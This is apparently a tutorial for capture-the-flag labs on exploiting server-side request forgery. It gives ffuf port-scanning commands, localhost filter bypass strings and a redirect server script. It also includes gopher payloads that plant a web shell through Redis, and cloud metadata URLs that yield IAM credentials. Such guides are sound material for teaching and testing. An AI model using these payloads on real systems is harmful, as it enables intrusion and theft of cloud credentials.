SSRF: using the server to reach internal services and the cloud
SSRF step by step: detect it, scan internal ports, bypass localhost filters with redirects and alternative IPs, read AWS metadata and attack Redis with gopher.
There is an SSRF when you can make the server send a request to an address of your choosing. From outside you only see the website; from inside, the server can reach 127.0.0.1, the internal network and, in the cloud, the metadata service with its credentials. The catalogue has more than 15 machines with SSRF, and the prize is almost always an internal service you were not meant to see.
Where it shows up
- Fields asking for a URL: "import from URL", link previews, webhooks, remote avatars, status checkers.
- PDF or screenshot generators built from HTML (the HTML can include an
<iframe>,<img>or<link>pointing anywhere). - Parameters named
url,uri,dest,redirect,next,feed,host,proxy. - Files the server processes: SVG, XML (XXE), Office documents.
Confirming it
Put in your own IP and listen:
nc -lvnp 80 # or python3 -m http.server 80
url=http://10.10.14.5/test
If the request arrives, read its headers: the User-Agent tells you what sent it (python-requests, curl, Go-http-client, a headless browser), and that changes what you can do. If the website does not show you the response, it is a blind SSRF: still useful for timing-based scanning or for attacking services that need no response.
Exploring the internal network
# localhost ports: compare response size or timing
ffuf -u 'http://target.htb/preview?url=http://127.0.0.1:FUZZ/' -w <(seq 1 65535) -fs 0 -t 50
# Hosts on the internal network (Docker usually uses 172.17.0.0/16)
ffuf -u 'http://target.htb/preview?url=http://172.17.0.FUZZ/' -w <(seq 1 254) -fs 0
What you most often find behind it: admin panels restricted to localhost, unauthenticated internal APIs, Redis, Elasticsearch, the Docker daemon (port 2375), Consul, Jenkins, or a service with a known CVE. On Sau, the SSRF leads to an internal Maltrail with a command injection.
Bypassing localhost filters
If the application bans 127.0.0.1 or localhost, there are plenty of ways to write the same thing:
http://127.1/
http://0/
http://0.0.0.0/
http://[::1]/
http://[::ffff:127.0.0.1]/
http://2130706433/ # 127.0.0.1 in decimal
http://0x7f000001/ # in hex
http://017700000001/ # in octal
http://localtest.me/ # a domain that resolves to 127.0.0.1
http://127.0.0.1.nip.io/
And if it checks the URL before making the request but follows redirects, use your own server to redirect:
# redir.py: python3 redir.py (then set url=http://10.10.14.5/)
from http.server import BaseHTTPRequestHandler, HTTPServer
class R(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://127.0.0.1:3000/admin')
self.end_headers()
HTTPServer(('0.0.0.0', 80), R).serve_forever()
That is exactly what you need on Forge and on Health. Other tricks: a URL with credentials (http://[email protected]/), a fragment (http://127.0.0.1#allowed.com) or DNS rebinding (a domain that first resolves to an allowed IP and then to 127.0.0.1).
Other schemes
If the library is not limited to HTTP, try:
file:///etc/passwd
file:///c:/windows/win.ini
dict://127.0.0.1:6379/info
gopher://127.0.0.1:6379/_...
gopher:// lets you send arbitrary bytes to a TCP port, so you can talk to Redis, password-less MySQL, SMTP or FastCGI. Gopherus builds the payload:
gopherus --exploit redis # asks what to do: write a web shell or a cron job
SSRF in the cloud
On AWS, GCP and Azure, a special IP serves the instance metadata and, sometimes, temporary credentials:
# AWS (IMDSv1)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# GCP (needs the Metadata-Flavor: Google header)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (needs the Metadata: true header)
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Note
AWS IMDSv2 requires fetching a token first with a PUT request and a special header, so an SSRF that can only GET is no longer enough. If you control the method and headers, it is. The cloud cheat sheet covers what to do with the credentials.
Common errors
- The request reaches your box but not
127.0.0.1: the server runs in a container; itslocalhostis not the host's. Try the host's IP on the Docker network (172.17.0.1). - It only accepts domains from a list: look for an open redirect on those domains (
/logout?next=) and chain it. - You cannot see the response: check whether the timing or the status code at least changes; that is enough to scan. To read data, find an internal service that sends it to you (a webhook, an email).
What next
Once you find the internal service, treat it like any other: enumerate its version and look for a public CVE. If you land a shell in a container, carry on with the containers section of Linux privilege escalation.